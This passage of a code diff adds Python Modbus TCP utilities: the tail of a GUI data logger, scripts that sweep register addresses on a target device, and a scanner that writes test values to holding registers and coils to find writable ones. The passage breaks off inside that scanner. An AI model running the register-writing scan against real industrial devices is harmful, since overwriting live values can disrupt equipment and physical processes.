ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] 